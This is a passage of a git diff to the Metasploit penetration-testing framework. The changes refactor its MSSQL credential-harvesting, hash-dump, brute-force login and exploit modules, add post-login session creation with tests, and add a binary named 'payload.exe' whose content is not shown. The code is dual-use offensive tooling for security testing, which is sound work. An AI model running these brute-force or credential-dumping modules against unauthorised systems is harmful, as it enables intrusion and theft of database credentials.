pkt.size + 50 # lengths below diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index 37a083997f37a..4649005849e71 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -152,8 +152,8 @@ def run print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{pw}") report_cred( - :host => datastore['RHOST'], - :port => datastore['RPORT'], + :host => rhost, + :port => rport, :creds_name => row[0], :user => row[1], :password => pw diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index 4e62e99801858..ba8c7776923bd 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -25,14 +25,14 @@ def initialize def run_host(ip) - if !mssql_login(datastore['USERNAME'], datastore['PASSWORD']) + if !mssql_login_datastore print_error("Invalid SQL Server credentials") return end service_data = { address: ip, - port: datastore['RPORT'], + port: rport, service_name: 'mssql', protocol: 'tcp', workspace_id: myworkspace_id diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 2fa9f2389f601..7c861241e1a4d 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -6,11 +6,13 @@ require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/mssql' require 'rex/proto/mssql/client' +require 'rex/post/mssql' class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute - + include Msf::Auxiliary::CommandShell include Msf::Auxiliary::Scanner def initialize @@ -34,14 +36,30 @@ def initialize OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', true]), ]) - deregister_options('PASSWORD_SPRAY') + options_to_deregister = %w[PASSWORD_SPRAY] + unless framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE) + options_to_deregister << 'CreateSession' + end + deregister_options(*options_to_deregister) + end + + def create_session? + if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE) + datastore['CreateSession'] + else + false + end end def run_host(ip) - print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - MSSQL - Starting authentication scanner.") + print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.") if datastore['TDSENCRYPTION'] - print_status("Manually enabled TLS/SSL to encrypt TDS payloads.") + if create_session? + raise "Cannot create sessions when encryption is enabled. See https://github.com/rapid7/metasploit-framework/issues/18745 to vote for this feature" + else + print_status("Manually enabled TLS/SSL to encrypt TDS payloads.") + end end cred_collection = build_credential_collection( @@ -52,7 +70,7 @@ def run_host(ip) scanner = Metasploit::Framework::LoginScanner::MSSQL.new( host: ip, - port: datastore['RPORT'], + port: rport, proxies: datastore['PROXIES'], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], @@ -67,6 +85,7 @@ def run_host(ip) tdsencryption: datastore['TDSENCRYPTION'], framework: framework, framework_module: self, + use_client_as_proof: create_session?, ssl: datastore['SSL'], ssl_version: datastore['SSLVersion'], ssl_verify_mode: datastore['SSLVerifyMode'], @@ -85,12 +104,37 @@ def run_host(ip) credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) + print_good "#{ip}:#{rport} - Login Successful: #{result.credential}" - print_good "#{ip}:#{datastore['RPORT']} - Login Successful: #{result.credential}" + if create_session? + begin + mssql_client = result.proof + session_setup(result, mssql_client) + rescue ::StandardError => e + elog('Failed: ', error: e) + print_error(e) + result.proof.conn.close if result.proof&.conn + end + end else invalidate_login(credential_data) - vprint_error "#{ip}:#{datastore['RPORT']} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end end + + def session_setup(result, client) + return unless (result && client) + rstream = client.sock + my_session = Msf::Sessions::MSSQL.new(rstream, { client: client, cwd: result.credential.realm }) # is cwd right? + merging = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => result.credential.public, + 'PASSWORD' => result.credential.private + } + + start_session(self, nil, merging, false, my_session.rstream, my_session) + end end diff --git a/modules/auxiliary/scanner/mssql/mssql_ping.rb b/modules/auxiliary/scanner/mssql/mssql_ping.rb index 5e5f384910293..55140a66729fb 100644 --- a/modules/auxiliary/scanner/mssql/mssql_ping.rb +++ b/modules/auxiliary/scanner/mssql/mssql_ping.rb @@ -16,10 +16,6 @@ def initialize 'License' => MSF_LICENSE ) - register_options( - [ - OptInt.new('THREADS', [true, "The number of concurrent threads (max one per host)", 1]), - ]) deregister_options('RPORT') end diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index 9ba1ba57a4624..b44036d8095e9 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -31,7 +31,7 @@ def initialize def run_host(ip) if !mssql_login_datastore - print_error("#{datastore['RHOST']}:#{datastore['RPORT']} - Invalid SQL Server credentials") + print_error("#{rhost}:#{rport} - Invalid SQL Server credentials") return end @@ -48,10 +48,10 @@ def run_host(ip) return nil if mssql_schema.nil? or mssql_schema.empty? mssql_schema.each do |db| report_note( - :host => datastore['RHOST'], + :host => rhost, :type => "mssql.db.schema", :data => db, - :port => datastore['RPORT'], + :port => rport, :proto => 'tcp', :update => :unique_data ) diff --git a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb index 71ee517fb7109..a6012ac08462d 100644 --- a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb +++ b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb @@ -72,7 +72,7 @@ def exploit end print_status("") - print_good("Successfully authenticated to #{datastore['RHOST']}:#{datastore['RPORT']} with user 'sa' and password '#{pass}'") + print_good("Successfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'") print_status("") exe = generate_payload_exe diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb index 7f4655d80f9cf..313c14d07b61e 100644 --- a/modules/exploits/windows/mssql/mssql_clr_payload.rb +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -51,7 +51,7 @@ def initialize(info = {}) end def check - unless mssql_login(datastore['USERNAME'], datastore['PASSWORD'], datastore['DATABASE']) + unless mssql_login_datastore(datastore['DATABASE']) vprint_status('Invalid SQL Server credentials') return Exploit::CheckCode::Detected end @@ -133,7 +133,7 @@ def is_clr_enabled end def exploit - unless mssql_login(datastore['USERNAME'], datastore['PASSWORD'], datastore['DATABASE']) + unless mssql_login_datastore(datastore['DATABASE']) fail_with(Failure::BadConfig, 'Unable to login with the given credentials') end diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index eb33a73e6f711..a8dc959508e56 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -76,7 +76,7 @@ def exploit print_status("-------------------------------------------------") # Check if credentials are correct - print_status("Attempting to connect to SQL Server at #{datastore['RHOST']}:#{datastore['RPORT']}...") + print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...") if !mssql_login_datastore print_error("Invalid SQL Server credentials") @@ -240,8 +240,8 @@ def exploit this_service = nil if framework.db and framework.db.active this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], + :host => rhost, + :port => rport, :name => 'mssql', :proto => 'tcp' ) diff --git a/payload.exe b/payload.exe new file mode 100755 index 0000000000000..f3825559930df Binary files /dev/null and b/payload.exe differ diff --git a/spec/lib/msf/base/sessions/mssql_spec.rb b/spec/lib/msf/base/sessions/mssql_spec.rb new file mode 100644 index 0000000000000..5a8c2bbfc1e3a --- /dev/null +++ b/spec/lib/msf/base/sessions/mssql_spec.rb @@ -0,0 +1,152 @@ +# frozen_string_literal: true + +require 'spec_helper' +require 'rex/post/mssql/ui/console/command_dispatcher/core' + +RSpec.describe Msf::Sessions::MSSQL do + let(:rstream) { instance_double(::Rex::Socket) } + let(:client) { instance_double(Rex::Proto::MSSQL::Client) } + let(:opts) { { client: client, cwd: 'name' } } + let(:console_class) { Rex::Post::MSSQL::Ui::Console } + let(:user_input) { instance_double(Rex::Ui::Text::Input::Readline) } + let(:user_output) { instance_double(Rex::Ui::Text::Output::Stdio) } + let(:name) { 'mssql' } + let(:log_source) { "session_#{name}" } + let(:type) { 'MSSQL' } + let(:description) { 'MSSQL' } + let(:can_cleanup_files) { false } + let(:address) { '192.0.2.1' } + let(:port) { '1433' } + let(:peer_info) { "#{address}:#{port}" } + let(:console) do + console = Rex::Post::MSSQL::Ui::Console.new(session) + console.disable_output = true + console + end + + before(:each) do + allow(user_input).to receive(:intrinsic_shell?).and_return(true) + allow(user_input).to receive(:output=) + allow(client).to receive(:sock).and_return(rstream) + allow(rstream).to receive(:peerinfo).and_return(peer_info) + end + + subject(:session) do + mssql_session = described_class.new(rstream, opts) + mssql_session.user_input = user_input + mssql_session.user_output = user_output + mssql_session.name = name + mssql_session + end + + describe '.type' do + it 'should have the correct type' do + expect(described_class.type).to eq(type) + end + end + + describe '.can_cleanup_files' do + it 'should be able to cleanup files' do + expect(described_class.can_cleanup_files).to eq(can_cleanup_files) + end + end + + describe '#desc' do + it 'should have the correct description' do + expect(subject.desc).to eq(description) + end + end + + describe '#type' do + it 'should have the correct type' do + expect(subject.type).to eq(type) + end + end + + describe '#initialize' do + context 'without a client' do + let(:opts) { {} } + + it 'raises a KeyError' do + expect { subject }.to raise_exception(KeyError) + end + end + context 'with a client' do + it 'does not raise an exception' do + expect { subject }.not_to raise_exception + end + end + + it 'creates a new console' do + expect(subject.console).to be_a(console_class) + end + end + + describe '#bootstrap' do + subject { session.bootstrap } + + it 'keeps the sessions user input' do + expect { subject }.not_to change(session, :user_input).from(user_input) + end + + it 'keeps the sessions user output' do + expect { subject }.not_to change(session, :user_output).from(user_output) + end + + it 'sets the console input' do + expect { subject }.to change(session.console, :input).to(user_input) + end + + it 'sets the console output' do + expect { subject }.to change(session.console, :output).to(user_output) + end + + it 'sets the log source' do + expect { subject }.to change(session.console, :log_source).to(log_source) + end + end + + describe '#reset_ui' do + before(:each) do + session.bootstrap + end + + subject { session.reset_ui } + + it 'keeps the sessions user input' do + expect { subject }.not_to change(session, :user_input).from(user_input) + end + + it 'keeps the sessions user output' do + expect { subject }.not_to change(session, :user_output).from(user_output) + end + + it 'resets the console input' do + expect { subject }.to change(session.console, :input).from(user_input).to(nil) + end + + it 'resets the console output' do + expect { subject }.to change(session.console, :output).from(user_output).to(nil) + end + end + + describe '#exit' do + subject { session.exit } + + it 'exits the session' do + expect { subject }.to change(session.console, :stopped?).from(false).to(true) + end + end + + describe '#address' do + subject { session.address } + + it { is_expected.to eq(address) } + end + + describe '#port' do + subject { session.port } + + it { is_expected.to eq(port) } + end +end diff --git a/spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb b/spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb new file mode 100644 index 0000000000000..33e32143fe354 --- /dev/null +++ b/spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb @@ -0,0 +1,31 @@ +# frozen_string_literal: true + +require 'spec_helper' +require 'rex/post/mssql/ui/console/command_dispatcher/core' + +RSpec.describe Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Core do + let(:rstream) { instance_double(::Rex::Socket) } + let(:client) { instance_double(Rex::Proto::MSSQL::Client) } + let(:session) { Msf::Sessions::MSSQL.new(nil, { client: client, cwd: 'mssql' }) } + let(:address) { '192.0.2.1' } + let(:port) { '1433' } + let(:peer_info) { "#{address}:#{port}" } + let(:console) do + console = Rex::Post::MSSQL::Ui::Console.new(session) + console.disable_output = true + console + end + + before(:each) do + allow(client).to receive(:sock).and_return(rstream) + allow(rstream).to receive(:peerinfo).and_return(peer_info) + allow(session).to receive(:client).and_return(client) + allow(session).to receive(:console).and_return(console) + allow(session).to receive(:name).and_return('test client name') + allow(session).to receive(:sid).and_return('test client sid') + end + + subject(:command_dispatcher) { described_class.new(session.console) } + + it_behaves_like 'session command dispatcher' +end